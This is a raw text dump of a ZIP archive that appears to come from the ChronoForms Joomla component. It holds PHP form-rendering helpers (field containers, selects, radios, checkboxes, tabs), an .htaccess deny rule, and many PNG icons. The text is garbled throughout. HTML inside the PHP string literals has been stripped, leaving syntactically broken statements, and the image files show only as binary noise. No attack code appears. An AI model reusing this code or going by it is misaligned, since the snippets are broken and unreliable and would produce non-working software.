$tiplink = '?'; $fieldoptions['after'] .= '
      '.$tiplink.'
      '; } unset($fieldoptions['tooltip']); } //prepare the descriptions if(isset($fieldoptions['smalldesc'])){ if(strlen(trim($fieldoptions['smalldesc']))){ if(!isset($fieldoptions['after'])){ $fieldoptions['after'] = ''; } $fieldoptions['after'] .= '
      '.nl2br($fieldoptions['smalldesc']).'
      '; } unset($fieldoptions['smalldesc']); } //add clear div if(!isset($fieldoptions['after'])){ $fieldoptions['after'] = ''; } $fieldoptions['after'] .= '
      '; $fieldoptions['after'] .= '
      '; //set container div options if(!isset($fieldoptions['type'])){ $fieldoptions['type'] = 'text'; } $div_class = array(); $div_class[] = 'ccms_form_element'; $etype = $fieldoptions['type']; if(isset($fieldoptions['multiple']) && $fieldoptions['multiple'] == 'checkbox'){ $etype = 'checkboxgroup'; } $div_class[] = 'cfdiv_'.$etype; if(isset($fieldoptions['label_over']) && $fieldoptions['label_over'] == true){ $div_class[] = 'label_over'; unset($fieldoptions['label_over']); } if(isset($fieldoptions['label_over'])){ unset($fieldoptions['label_over']); } $hide_label = false; if(isset($fieldoptions['hide_label'])){ $hide_label = (bool)$fieldoptions['hide_label']; unset($fieldoptions['hide_label']); } if(isset($fieldoptions['radios_over'])){ if($fieldoptions['radios_over'] == true){ $div_class[] = 'radios_over'; } unset($fieldoptions['radios_over']); } if(isset($fieldoptions['multiline_start'])){ if($fieldoptions['multiline_start'] == true){ $div_class[] = 'multiline_start'; } unset($fieldoptions['multiline_start']); } if(isset($fieldoptions['multiline_add'])){ if($fieldoptions['multiline_add'] == true){ $div_class[] = 'multiline_add'; } unset($fieldoptions['multiline_add']); } if(!isset($fieldoptions['div'])){ $fieldoptions['div'] = array(); } //$div_prefix = (isset($fieldoptions['id']) && strlen(trim($fieldoptions['id'])) > 0) ? $this->slug($fieldoptions['id']) : 'autoID-'.md5($fieldname.'-'.rand(11111, 99999)); if(isset($fieldoptions['id']) && strlen(trim($fieldoptions['id'])) > 0){ $div_prefix = $this->slug($fieldoptions['id']); }else{ $temp_prefix = $this->slug($fieldname); if(!in_array($temp_prefix, $this->divs_containers_ids)){ $div_prefix = $temp_prefix.'1'; $this->divs_containers_ids[] = $temp_prefix; $this->divs_containers_ids_count[$temp_prefix] = array(1); }else{ //get last count $last_count = $this->divs_containers_ids_count[$temp_prefix][count($this->divs_containers_ids_count[$temp_prefix]) - 1]; $div_prefix = $temp_prefix.''.($last_count + 1); $this->divs_containers_ids_count[$temp_prefix][] = $last_count + 1; } } $divContainer = array_merge($fieldoptions['div'], array('id' => $div_prefix.'_container_div', 'class' => implode(' ', $div_class), 'style' => array())); unset($fieldoptions['div']); //add before prefix $beforeOutput = ''; if(isset($fieldoptions['before'])){ $beforeOutput = $fieldoptions['before']; unset($fieldoptions['before']); } //add after prefix $afterOutput = ''; if(isset($fieldoptions['after'])){ $afterOutput = $fieldoptions['after']; unset($fieldoptions['after']); } if(isset($fieldoptions['default']) && (!isset($fieldoptions['value']) || (is_string($fieldoptions['value']) && strlen($fieldoptions['value']) == 0))){ $field_value = $fieldoptions['default']; unset($fieldoptions['default']); } //check form data if(isset($this->data) && !empty($this->data)){ if($this->advanced_data === true){ $no_field_preset_value_exists = (!isset($fieldoptions['value']) || (is_string($fieldoptions['value']) && strlen($fieldoptions['value']) == 0)); if(is_array($this->data)){ $data_value = $this->fieldValue($fieldname, $this->data); if(!is_null($data_value) && $no_field_preset_value_exists){ $field_value = $data_value; } }else if(is_object($this->data)){ $data_value = $this->fieldValue($fieldname, (array)$this->data); if(!is_null($data_value) && $no_field_preset_value_exists){ $field_value = $data_value; } } }else{ if(is_array($this->data)){ if(isset($this->data[$fieldname])){ $field_value = htmlspecialchars($this->data[$fieldname]); } }else if(is_object($this->data)){ if(isset($this->data->$fieldname)){ $field_value = htmlspecialchars($this->data->$fieldname); } } } } if(isset($field_value)){ $fieldoptions['value'] = $field_value; } //merge tag with fieldoptions $tag = array_merge($fieldoptions, $tag); if(isset($tag['label'])){ unset($tag['label']); } //close containers $old_output = ''; if(!empty($this->containers) && isset($tag['container_id']) && $tag['container_id'] != $this->containers[count($this->containers) - 1]){ //we are out of the last container, close it $containers = array_reverse($this->containers); $containers_endings = array_reverse($this->containers_endings); foreach($containers as $k => $container){ if($container != $tag['container_id']){ $old_output .= $containers_endings[$k]; array_pop($this->containers); array_pop($this->containers_endings); }else{ break; } } } if(isset($tag['container_id'])){ unset($tag['container_id']); } //print_r2($fieldoptions); switch($fieldoptions['type']){ case 'submit': unset($fieldoptions['value']); $output .= ' $v){ if(in_array($k, array('reset_button', 'reset_button_value', 'back_button', 'back_button_value'))){ continue; } $output .= ' '.$k.'="'.$v.'"'; } $output .= ' />'."\n"; if(isset($tag['reset_button']) && (bool)$tag['reset_button'] === true){ $output .= " "; } if(isset($tag['back_button']) && (bool)$tag['back_button'] === true){ $output .= " "; } unset($fieldoptions['label']); break; case 'textarea': $value = ''; if(isset($tag['value'])){ $value = $tag['value']; unset($tag['value']); } if(isset($tag['type'])){ unset($tag['type']); } if(isset($tag['wysiwyg_editor']) && $tag['wysiwyg_editor'] == 1){ $output .= "display('".$fieldname."', '".$value."', ".$fieldoptions['editor_width'].", ".$fieldoptions['editor_height'].", ".$fieldoptions['rows'].", ".$fieldoptions['cols'].", ".$fieldoptions['editor_buttons']."); ?>"; } else { $output .= ' $v){ if(in_array($k, array('wysiwyg_editor', 'editor_width', 'editor_height', 'editor_buttons'))){ continue; } $output .= ' '.$k.'="'.$v.'"'; } $output .= '>'.$value.''."\n"; } break; case 'select': if(isset($fieldoptions['value'])){ if(!empty($fieldoptions['value'])){ $tag['selected'] = $fieldoptions['value']; } unset($fieldoptions['value']); } $output .= ''."\n"; unset($tag['empty']); } if(isset($tag['multiple']) && $tag['multiple'] == 1){ $tag['multiple'] = 'multiple'; if(strpos($tag['name'], '[]') === false){ $tag['name'] = $tag['name'].'[]'; } } if(isset($tag['type'])){ unset($tag['type']); } foreach($tag as $k => $v){ if(!in_array($k, array('enable_dynamic_data', 'data_path', 'value_key', 'text_key'))){ $output .= ' '.$k.'="'.$v.'"'; } } $output .= '>'."\n"; if($empty){ $output .= $empty; } if(isset($tag['enable_dynamic_data']) && ($tag['enable_dynamic_data'] == 1)){ if(!empty($tag['data_path']) && !empty($tag['value_key']) && !empty($tag['text_key'])){ $output .= ' get_array_value($form->data, explode(".", "'.$tag["data_path"].'")); if(!is_null($options_data) && is_array($options_data)){ foreach($options_data as $option_data){ if(isset($option_data["'.$tag["value_key"].'"]) && isset($option_data["'.$tag["text_key"].'"])){ echo \'\n"; } } } ?> '; } }else{ foreach($options as $k => $option){ $output .= ''."\n"; } } $output .= ''."\n"; break; case 'radio': $checked_value = null; if(isset($fieldoptions['value'])){ $checked_value = $fieldoptions['value']; } unset($fieldoptions['value']); $options = array(); if(isset($tag['options']) && is_array($tag['options'])){ $options = $tag['options']; unset($tag['options']); } if(isset($tag['ghost'])){ if((bool)$tag['ghost'] === true){ $output .= ''."\n"; } unset($tag['ghost']); unset($tag['ghost_value']); } $output .= '
      '; if(isset($tag['enable_dynamic_data']) && ($tag['enable_dynamic_data'] == 1)){ if(!empty($tag['data_path']) && !empty($tag['value_key']) && !empty($tag['text_key'])){ $output .= ' get_array_value($form->data, explode(".", "'.$tag["data_path"].'")); if(!is_null($options_data) && is_array($options_data)){ $f_id = 0; foreach($options_data as $option_data){ if(isset($option_data["'.$tag["value_key"].'"]) && isset($option_data["'.$tag["text_key"].'"])){ echo \'\'."\n"; echo \'\'."\n"; $f_id++; } } } ?> '; } }else{ $f_id = 0; foreach($options as $k => $option){ $output .= in_array('radios_over', $div_class) ? '
      ' : ''; $output .= ''."\n"; $output .= ''."\n"; $output .= in_array('radios_over', $div_class) ? '
      ' : ''; $f_id++; } } $output .= '
      '; break; case 'checkbox_group': unset($fieldoptions['value']); $fieldoptions['type'] = 'checkbox'; $options = array(); if(isset($tag['options']) && is_array($tag['options'])){ $options = $tag['options']; unset($tag['options']); $checked = false; if(isset($tag['selected'])){ $checked = explode(",", $tag['selected']); unset($tag['selected']); } } if(isset($tag['ghost'])){ if((bool)$tag['ghost'] === true){ $output .= ''."\n"; } unset($tag['ghost']); unset($tag['ghost_value']); } $output .= '
      '; if(isset($tag['enable_dynamic_data']) && ($tag['enable_dynamic_data'] == 1)){ if(!empty($tag['data_path']) && !empty($tag['value_key']) && !empty($tag['text_key'])){ $output .= ' get_array_value($form->data, explode(".", "'.$tag["data_path"].'")); if(!is_null($options_data) && is_array($options_data)){ $f_id = 0; foreach($options_data as $option_data){ if(isset($option_data["'.$tag["value_key"].'"]) && isset($option_data["'.$tag["text_key"].'"])){ echo \'\'."\n"; echo \'\'."\n"; $f_id++; } } } ?> '; } }else{ $f_id = 0; foreach($options as $k => $option){ $output .= in_array('radios_over', $div_class) ? '
      ' : ''; $output .= ''."\n"; $output .= ''."\n"; $output .= in_array('radios_over', $div_class) ? '
      ' : ''; $f_id++; } } $output .= '
      '; break; case 'checkbox': if(isset($tag['checked'])){ if((bool)$tag['checked'] === true){ $tag['checked'] = 'checked'; }else{ unset($tag['checked']); } } if(!isset($fieldoptions['id']) || empty($fieldoptions['id'])){ $tag['id'] = $fieldoptions['id'] = $this->slug($fieldname); } if(isset($tag['ghost'])){ if((bool)$tag['ghost'] === true){ $output .= ''."\n"; } unset($tag['ghost']); unset($tag['ghost_value']); } $full_label = false; if(isset($tag['label_position']) && !empty($tag['label_position'])){ if($tag['label_position'] == 'right'){ $full_label = true; } $tag['class'] = strlen($tag['class']) ? $tag['class'].' label_'.$tag['label_position'] : 'label_'.$tag['label_position']; } unset($tag['label_position']); $output .= ' $v){ $output .= ' '.$k.'="'.$v.'"'; } $output .= ' />'."\n"; if(isset($fieldoptions['label']) && $fieldoptions['label'] !== false){ $class = ''; if($full_label){ $class = ' class="full_label"'; } $afterOutput = ''.$fieldoptions['label']['text'].''.$afterOutput; unset($fieldoptions['label']); } break; case 'hidden': if(isset($tag['container_id']))unset($tag['container_id']); $output .= ' $v){ $output .= ' '.$k.'="'.$v.'"'; } $output .= ' />'."\n"; $divContainer = ''; break; case 'datetime': if(isset($tag['timeonly']) && (int)$tag['timeonly'] == 1){ $tag['class'] = empty($tag['class']) ? 'cf_time_picker' : $tag['class'].' cf_time_picker'; } if(isset($tag['addtime']) && (int)$tag['addtime'] == 1 && (int)$tag['timeonly'] == 0){ $tag['class'] = empty($tag['class']) ? 'cf_datetime_picker' : $tag['class'].' cf_datetime_picker'; } if((int)$tag['timeonly'] == 0 && (int)$tag['addtime'] == 0){ $tag['class'] = empty($tag['class']) ? 'cf_date_picker' : $tag['class'].' cf_date_picker'; } if(isset($tag['timeonly']))unset($tag['timeonly']); if(isset($tag['addtime']))unset($tag['addtime']); unset($tag['tag']); unset($tag['wf_key']); $tag['type'] = 'text'; $output .= ' $v){ $output .= ' '.$k.'="'.$v.'"'; } $output .= ' />'."\n"; break; case 'custom': $output = $tag['code']; if((int)$tag['clean'] == 1){ $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; } break; case 'header': $output = $tag['code']; //$divContainer['id'] = md5($this->slug($tag['code'])).$divContainer['id']; $afterOutput = '
      '; if((int)$tag['clean'] == 1){ $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; } break; case 'container': $container_open = ''; $container_close = ''; if(isset($tag['container_type'])){ if($tag['container_type'] == 'div'){ $container_open = '
      '; $container_close = '
      '; }else if($tag['container_type'] == 'fieldset'){ $container_open = '
      '.$tag['area_label'].''; $container_close = '
      '; }else if($tag['container_type'] == 'custom'){ $container_open = $tag['start_code']; $container_close = $tag['end_code']; }else if($tag['container_type'] == 'tabs_area'){ $container_open = "\n".'
      startPane("cf_container_'.$tag['wf_key'].'"); ?>'."\n"; $container_close = "\n".'endPane();} ?>
      '."\n"; }else if($tag['container_type'] == 'tab'){ $container_open = "\n".'startPanel("'.$tag['area_label'].'", "cf_container_'.$tag['wf_key'].'");} ?>'."\n"; $container_close = "\n".'endPanel();} ?>'."\n"; }else if($tag['container_type'] == 'sliders_area'){ $container_open = "\n".'
      startPane("cf_container_'.$tag['wf_key'].'"); ?>'."\n"; $container_close = "\n".'endPane();} ?>
      '."\n"; }else if($tag['container_type'] == 'slider'){ $container_open = "\n".'startPanel("'.$tag['area_label'].'", "cf_container_'.$tag['wf_key'].'");} ?>'."\n"; $container_close = "\n".'endPanel();} ?>'."\n"; } } $output = $container_open; array_push($this->containers, $tag['wf_key']); array_push($this->containers_endings, $container_close); $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; break; case 'page_break': $output = ""; $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; break; case 'pane_start': if($tag['pane_type'] == 'sliders'){ $start_s = "startTransition"; }else{ $start_s = "startOffset"; } $output = "\n".'
      '.$tag['pane_start'].')); echo $pane->startPane("'.$tag['pane_id'].'"); ?>'."\n"; $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; break; case 'panel_start': $output = "\n".'startPanel("'.$tag['panel_label'].'", "'.$tag['panel_id'].'");} ?>'."\n"; $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; break; case 'panel_end': $output = "\n".'endPanel();} ?>'."\n"; $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; break; case 'pane_end': $output = "\n".'endPane();} ?>
      '."\n"; $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; break; case 'widget': $params = array(); $field_header = $tag['tag'].'_'.$tag['widget'].'_'.$tag['wf_key']; foreach($tag as $k => $v){ $params[str_replace($field_header.'_', '', $k)] = $v; } if(isset($params['label_text'])){ $fieldoptions['label']['text'] = $params['label_text']; } $output = "\n".''."\n"; break; case 'file': if(isset($tag['ghost'])){ if((bool)$tag['ghost'] === true){ $output .= ''."\n"; } unset($tag['ghost']); unset($tag['ghost_value']); } $output .= ' $v){ $output .= ' '.$k.'="'.$v.'"'; } $output .= ' />'."\n"; break; case 'empty': $output = ''; break; case 'text': case 'password': default: if(isset($tag['tag']))unset($tag['tag']); if(isset($tag['wf_key']))unset($tag['wf_key']); $output .= ' $v){ $output .= ' '.$k.'="'.$v.'"'; } $output .= ' />'."\n"; break; } if(isset($fieldoptions['label']) && $fieldoptions['label'] !== false){ $beforeOutput .= ''.$fieldoptions['label']['text'].''; unset($fieldoptions['label']); } if(!empty($divContainer)){ if(is_numeric(substr($divContainer['id'], 0, 1))){ $divContainer['id'] = 'id'.$divContainer['id']; } $output = '
      '.$beforeOutput.$output.$afterOutput.'
      '; } if($do_replacements){ //do replacements $output = str_replace('%field_name%', $tag['name'], $output); } $output = $old_output.$output; return $output; } function slug($str, $replacer = "_"){ $str = strtolower(trim($str)); $str = preg_replace('/[^a-z0-9{}'.$replacer.']/', $replacer, $str); $str = preg_replace('/'.$replacer.'+/', $replacer, $str); return $str; } function fieldValue($field_name, $data = array()){ $field_name = str_replace('[]', '', $field_name); $value = null; if(!isset($data[$field_name])){ //check if its an array if(strpos($field_name, '[') !== false){ $value = $this->_processArrayField($field_name, $data); } }else{ $value = $data[$field_name]; } return $value; } function _processArrayField($field_name, $data = array()){ $pieces = explode('[', $field_name); $value = null; if(isset($data[str_replace(']', '', $pieces[0])])){ $path = $data[str_replace(']', '', $pieces[0])]; //remove the main field name unset($pieces[0]); foreach($pieces as $piece){ if(isset($path[str_replace(']', '', $piece)])){ $value = $path = $path[str_replace(']', '', $piece)]; }else{ $value = null; } } } return $value; } }PK@y>\Gå2components/com_chronoforms/helpers/tabs_helper.phpnuW+Aprefix = $prefix; } $output = '
        '; $counter = 0; foreach($tabs as $id => $title){ if(!empty($prefix)){ $id = $prefix.'_'.$id; } $class = ''; if($counter == 0){ $class = ' class="activetab"'; $this->active = $id; } $output .= '
      • '.$title.'
      • '; $output .= "\n"; $counter++; } $output .= '
      '; return $output; } function tabStart($id = ''){ if(!empty($this->prefix)){ $id = $this->prefix.'_'.$id; } $style = ' style="display: none;"'; if($id == $this->active){ $style = ' style="display: block;"'; } $output = '
      '; return $output; } function tabEnd(){ $output = '
      '; return $output; } }PK@y>\),components/com_chronoforms/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\.EE*components/com_chronoforms/images/keyd.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڌSn@]qIӴAIU BWĝ?_7 ^ZJ=Ph\lv\ۛ][MK[v4;z3D ȘmfoO-\[GdBF{;eݥ|@EwyfC1fX5z,gq2_L;v}n7EDzKOͻ&agK 85Ű'RAfJI{V@  Q2atɿ{c[IF MƸZ?#6Ϟ.16G'd$i&YDF;qoDK0^Tw}(oc&i đ`90Dnt?A0DX<0)Z#=e%:|xSz=87kdRR$^<^*Td ͱU?HE9ᧃ.1ECkS{{IENDB`PK@y>\ 3components/com_chronoforms/images/properties_f2.pngnuW+APNG  IHDR szzbKGD pHYsnu>tIME > IDATxڵyl\WYlx;YZ'i@PA *(KEZJi!El*W RAh*($DmZLcN=x<ͳxq ߓss—7!zn׾֖76zO޹ >7jLxR5/`wn۶tB7ڵwٵkP_]>3ъE&`Jm7xnwi)]n:{{?pjod?ȮpW-$f]GGyHG~'f]={O.thnnpt蠵B2V|\z; 8a |} iUps}U?VٿM*6]p8Np8R8xdh. 68!__wcgc**`F[Uwl|`pm-f;uJ\ # Á墾!%kkk/P(hP֨s+7lb{{8?gaqжo`fr3 eh*R ǃ ɲ]&R]>B1+rGĂݛ{lsXoi.MJcmuLT`gUD"E$ c@?fabkAUA Z-sMu7  0钴~O4`Ī&P0,zo>\%{״Fȥ!DlL(R" [!ga sEUDD+67$Sq;Ėĺ4ԝ>J(#ri6o٣ `Z)HCU-+$ 1NLZ#1:k"ش`x+xdߍXt5R\,,52=0bs*_;5prX+@DkB"4hhq7,xxC$JAɪxjsUz)4gF+Jcc#C{nayp<|*Й3 HRv{zNQ7W5N5@R*)S!/?ʳA7]|$}&_;,7#QFH4 597m+ uo PUy(hb.ܹ8,B4Z 0wBla(a x>[{'t5P.d,H)N'x  LA))%.$Ak^=ϱc|s=Rí$c/9LN&3 e6^H,T),EX^>JXajضW=="+9BјXʦOƃ@(T:ZƁo=#7{|\#*ѳƢ:Xȯ₡ځ6^ PXVŬp IENDB`PK@y>\2components/com_chronoforms/images/normalscreen.pngnuW+APNG  IHDRasBIT|d pHYs  ~tEXtSoftwareAdobe Fireworks CS3FtEXtCreation Time2/17/08 XtEXtXML:com.adobe.xmp Adobe Fireworks CS3 2008-02-17T02:36:45Z 2008-03-24T19:00:42Z image/png 5RdIDAT8?kAGϽwv^P?`Pb`/KQAl,mBP 6e @@ Li,4}gb_ @~0w8s.wFr%ړguwv]( BB_ ]ꕏwY!WLA% &|p_ؼ4s,$WWwy1 8Q#bG>qLs6r3YfRC*7*Tn@] (ԊR+*(f. c !z|j ^jiSK<< O@=8L Ja(wr)U1DEѬhgjoRMo2hxpnyZÍc^όPCf&2QM-/>5 Ehba-a"!5bHRL A< O7!E!dh4 'kr,_7IENDB`PK@y>\ʈ-components/com_chronoforms/images/disable.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<fIDATxLS[hU\fKL7-}jmGQPXl41TzQZAeK%AJ*""HSR4kfomsN߸f 4a&(In08{UGe2m(@$p f魫_;!P8̓t7]lW* Ta td K&aYZ6 _}F@)纈RskPFHO!„>|g$FyX?~?Ig\>otf9>N끏Xn9SHtra }t ;PcyX ~} J[lB4GxUi=U[} tc)~x(k#`t ՗qz[/@3EDX@lBzcN >Wo!i!Ux:c7@F#$ rV|x Ofi0v4PV SSpkA,8$T(Ak%Ƒ>{5*jƟ?tK^^+^$JnQ>a,߾|j5/pƹ2־TT3 W׋v>+,B A&;1إ ž;>|mwG{Z,K"~X>SDώ>ı,W`?Բl$I۲`9/|wEunyg C@:rJ7{{[QqWv, |)\,`]],components/com_chronoforms/images/apply3.pngnuW+APNG  IHDRw=gAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڜVOSw~z.ޡЂ dQa-eƨ#nY,Y%,ۇ[LLtq!ަ@(=s7m6iy/j1s&*{  7E˨J⣳ZD'nCaB'ZG]npoGU­8OyC,H! D+ߩUc(:'|Xf3Ş3aZ-z73p3ӈI1-3>1EA_/$-}MFBau,HgHh$]ge/KIhyV;af9}iC%#ig] 31u KPl)Pbc'Fgzk\ଚvLMNEL5kr#FwQx: z9+Y,z!z ڃA$3(}h*Miy^5N $,\f'#?)7KUdt^[N9G?MԜ;DZ*{:,` O%ٔ:N|3}m<Ĵ_ DTΐ淽Tf]F[`8C)"Pׁ LWjvMjyew1}LWg#jE/pN 50mj<ȥ>zU#d-NIENDB`PK@y>\ҰBpp*components/com_chronoforms/images/edit.pngnuW+APNG  IHDRa7IDATxڍ_HQrӭfYĂP!dT !,n[-" D慉\&(rlVfns5tAs 9FMJv0>b6ŊmkK_pmOڝs%'LZeCC݀"Oٺh2]UY5pv1`fCA Œ*9YHU1R<:=DcxW?I~S$8Zgi[vOx!>pW(r;?9`ijW{ԃ0Y6!!ʃxI!k>A"0ˋkG ǫAr>)bLjS_"Gf9N'aةs xMuDAxh[$N!Kȕ&xYO_g.EF>77YR#x_&2ntN#z֢zn$ӿ$m†Puv.=y&. ;VyFJ8T(Wq[HhDe;bR Iq;S4]FSF$iIENDB`PK@y>\@52components/com_chronoforms/images/fullscreen_b.pngnuW+APNG  IHDR$gAMA7tEXtSoftwareAdobe ImageReadyqe<PLTEf|1U}4}3QSLSRZQXT|0KOU]{.}5VVOPG}2M~7ZI\MWNW\IJ{/[H[E}6~6Y}3}4XM2tRNS PIDATxڜ0 EEDP@]3"36=-NJSclS%gQ| B~ylmς{5'8@b $(XR2 b@."c*OytB\?|p X޴y%n 2P*.R"7AK[JKy(UI<#1x*^ -=QE<IENDB`PK@y>\u*components/com_chronoforms/images/bkey.pngnuW+APNG  IHDR szzIDATxiLTWy3 3"ke`")[c bR* 4B ʮe+HERfYy̼eM`wݓ{=q@/ ]rh3l MlZ?Eh}nò2R|w$?oXg'sOĭj }-WeuN Xw[jVI&=ZXԐS%ήoh-)Db6ܵ3S9^>[<.Wl &X]rO. '+l$KRuwZ2@w 9qgo[֗hB)IoY4J3m4xD)ّX\" j;K=L%f#e&103܊2HAn?_eJ=La#?3Ѝ2e1{k'`p׵'lg8HмK<pf#,#U>5~L^^X&0XzIENDB`PK@y>\[+components/com_chronoforms/images/query.pngnuW+APNG  IHDR00` sBITOPLTEyI*=g=WSNUs`xs.ܓL̬s폑ԏ*3ff3uhޒώ~ífGlߨݩٖ ¿j֔t߉\A=a\i]Z~I߰4sk?)]ݾ2UwFх#ۦlpMmf܉ЋV.fz݃YNsm?]mRtsŃEH0{x|ܒL^9Y_m^*g)ʾݓ=$AL,tRNSPe pHYs B4%tEXtSoftwareMacromedia Fireworks MX 2004v@IDATxmWX b (H4-bTņp4UDJ>& vV; ,9{[dw៺_|t\ӏ ȹ`8}`"n :H[C=SbE;ރ̪ͩ/s9nV\"ߤ]&SSk zE@9A%,vAMsc`=CQ4PzP.S}|FWTxYyw jZօξ|PB߫ҼVTBOPn5 zU3|LѮID@.؏#Ǚ:jǝw-me2k˶#ۃ'Q`ivJ1XM_:Zv2a9S*ԃ@=_8:Zأ$ITG(!5 D j$DK`1 *U?\W)k2$Mđh.vb|ݸ#ZŨ$| .H6E;BD:#E隚ɧvzwűKtUC^IjgiQq*@/ YADltUMN"4@^,:mPJ U_4 C~nd]("P/<"V%f.aO"Yֵ> _rDQlaVЀ##Cp̤yQPdu$E ߯^&OFÒSەz[jLkI)s0^ O4=2&IxQ[X=:g8V CJZMHecad0TX:'pnnP iŭrL={F(:$e?խlN3cM9:o^r @>yW悒DTc'k'OPW;Kd2y^%7fY͞d-Q-o,ogU7$ Zvo]N\sc 6mѕpr% 2p:99r@vZ, Lͭd4+3S} $uSDS+KւƜh8-͹tzǓ!lX@N]7CW%e̒%rY>6d>_9n*{fs?ܸ sC {pB IENDB`PK@y>\AA+components/com_chronoforms/images/apply.pngnuW+APNG  IHDR szzgAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڬWklW>gv;뵽k;^ۉ8nm դWE!P Z@D ?ڄ*%(- a)!UI!$NƯM1;3wޙ&5W;wswX$"8ƕOc ADRA ~A ތ 䕴ZOx|wBfԛJ Ѹm(raFnojy-= Z\ +S׏0JJ{XF)$Fi;6M[[彗7~L9[Rkޟh" HZ Kx@<7z5Kbdl*Rg@޴(uЇ[PHH3R>A۲v&-W̏Mq`ޙ{zrj"FB&82}q?f "аo$0du]`R>{n8h5Q(-t@V]*Ut~- hPWjIQ0sR+ EA#㬅@c^r3b661 RL֩2&gJ*FaؖY 8qBoQ|RPSnK pk9ϣDj?!LIR1L B!0uPj&R{Ⱥnذ :0;pY%_ie 솚iaU1. ]Y{ 3 nT985u+3Ki-6,{='<謻, $D4MjQ¸6y GOґǠaMUn].ҋ3<6e*#SC_.B^u^OCi9n vyc4`$1Æ,vr >w-3chGaA]`)APhw7ruyk?# t߂lm-V_~p䮇u~ؚ~HZؒ" ܈%G$ut Gu Y&q0dR7Nn<98qG"0c{gT&Y˖.PKԾ \y]Y1=ʱIVrV:$ݷ;W哴\,Yzl3al]DTQuGQ_sIr}/@<di|sٍ5[}}v oq8S7~qWdeydmt BJus,B4q=;G`ݤ =vqtK瞂Y2Q Il CQs;)5uw: 1[Je wU_G;~~uN=+8UJL9Igh5I*Z4̻ԒVU8v˴P|h[& tB={ms&HoEE4Uhy@TzV7ěOc:ԣ!g{z[;oZr ͅ ("r,N.6Ӵܗ-:생[TB VsP$]!K |0s?kjujWuMo s}(U.6rn4ithǧ{goL"SBYQ &Ga_!8@\->\^CٜH\<)components/com_chronoforms/images/add.pngnuW+APNG  IHDRw=gAMA7tEXtSoftwareAdobe ImageReadyqe<aIDATxڤVmU~}?gfgwmwMYp+I_QY~aR?2B-,)G E",\5]-۵\kƙwޯ{;(tss99wXWWZ dSR+ 3P;%!} pwrn2Vڋ q;_+ #̱N=%CSNJvnF? #g` <8kfecrjj/eB-CP$K9[.CzV b]^$ZEuK둌޽3>ǀoVԥlT '@cⵆ0ڙ V۞! \B 3|j0rFʫz+d$\6lMO}l2bm mŧÜOkyppͦMH[ !a#B伬S6ږP %2-*E{zw!FMxh ]^'V,u0Fض:kҐhNUPMŀSG pԌct4rhN?UAr\KqIb`0D( m 0S<A}^sj* #PIdP3əU,mF= (M>lהiyFσ uUJ rfP̈Fu'l㓍C b/u!G,փSrktcMʹʳI5Nu)Rj`ZþW ő/|t{*ч6.zytO*^Ӭ q:N`}P( KXi,ix]< Z{%rg]ktu12VH=[ s_EE29'kB1Ɍ.s>ڟW埍x!dVrZzYHbBr2Ӌ_%KB'VR$sl5Ε:͘՚YbbRDOאȝe&u7ՠ|#HJl94\ qIENDB`PK@y>\Z]̏/components/com_chronoforms/images/dbrestore.pngnuW+APNG  IHDR DgAMA7tEXtSoftwareAdobe ImageReadyqe<PLTE!ꝝÄ[\`$tY]:xʅB@C0!鎎l]5N=̑A%ff(q( yMv^89柣zz}!:/o d\Hy֭2Wֶ%vmmxI*fQ1kXpi[ VJ.DvIqHI*(.f@yǞ˼ 9!zz/uwZG"z!ߨi]FH+ZYYmhi܆)%!twp==Ic:!x m*(btRNSKFIDATx\OFM: K6/Qu1=^bEb Ol-hjRS¤;2}};Bg0΄gcbhc$qDM6,H,eaG"4zS6? ^qr__d!lU*+hsx<^/2Vo7q1xP`+AX2 '7K,BinB+([^,DŽnݘʯQYeM-Q޺q0aӴNͳ FeZZ=i~WO7 /W{тYwЃ :}lmӴHx2کs#>Ҥ[QߧhL]-׶b35mƓjL@0_߾L0^U4lRu^Y(B_7B ǎ:n($pD1uRI7$۟lt3\`*components/com_chronoforms/images/save.pngnuW+APNG  IHDR szzIDATxڭ{PTUǿ ,ert j*eZ34#r &5cB:@TXb @{a;q/wúg=緇{>sYN /;}mv \ؚ~Ju6V0e3å('Ҫ`2tD ov_KP԰ֱ!HI5=+P\d |v NkMK7@VCy)iJ.zk]ZRS3/{\)h-j-5, $!S|my():(w@gԣRr@@;-LEGPSUB@ҳE;wqNLOeDut*pN/LM&a^rHք]BU_#\N@TBրN>{|?XJ!GbѨ^|&u.|pp\$Q޳ 4 `h7mef㞑k6^3t*/^y!X4&!nɽB`^?eЈ]4 VM3t_! V(=0X8 u>e/?;1r\.' eW}ߣFsH*>p5W+&n1@g̯ya3y;z UV6h<hy_$H-(B0gXp*jU\ClDVOp9}HH{rzzzԡ'f cdX05,.h{XvCZ!fƜ$|)(/-dN ).^%IHh,[p krS 3;1@{-|]:b2wZE\s:8?7]*(`N\rF^D{#/gTy18@&qZ<_/3]?POY8.L©cLR½u}ߏ{ppo:n?KjƓ_d =]'|kLPV\^ʤ xi"{˞G%>vuz4s{3BI =Х p o79hIENDB`PK@y>\s7 ,components/com_chronoforms/images/apply2.pngnuW+APNG  IHDR szzIDATxڵ PTe](,Ц1,T6iL>4)cSmee"Р#2A%@]uY`wY +A9p}wDȂ3 ;۾g sw}gT8vs˰n$we?}x| a'` h|7E,ey.=8qUXȢͣCޘw&R(ܾn'听kN;5>v왝󳴏VIx-"\5sz}atcF}duV.E-B)dF<_Vѵҹfԏ.@K3WoBY 8zB_,AS!K쯹uݥ4i جuoACW#?qRZe"mIg:r;ߦȬ>845_G5渵br.I's?5uչwf\!=1PecX,bhA`+v~:<};F`n:yoNJr."b%rcq ^^cfZzCGt0nQ3V}7;M(оűkoIOxCXh!ICD qAm%\:?IERK0/ޞ,qU HI^BuBaJ])|t~͝rS(rYjN];y=|;a/AR&qZ1Fu`;t6gOO xRҔ5FiCqj,@-]GY4剙188g 2r*LBӂC [^=**"=\sw ~k=E+F4\9:# OY(r7,[sEו~`k5IQDOF^r(B&GG#MBUZ` 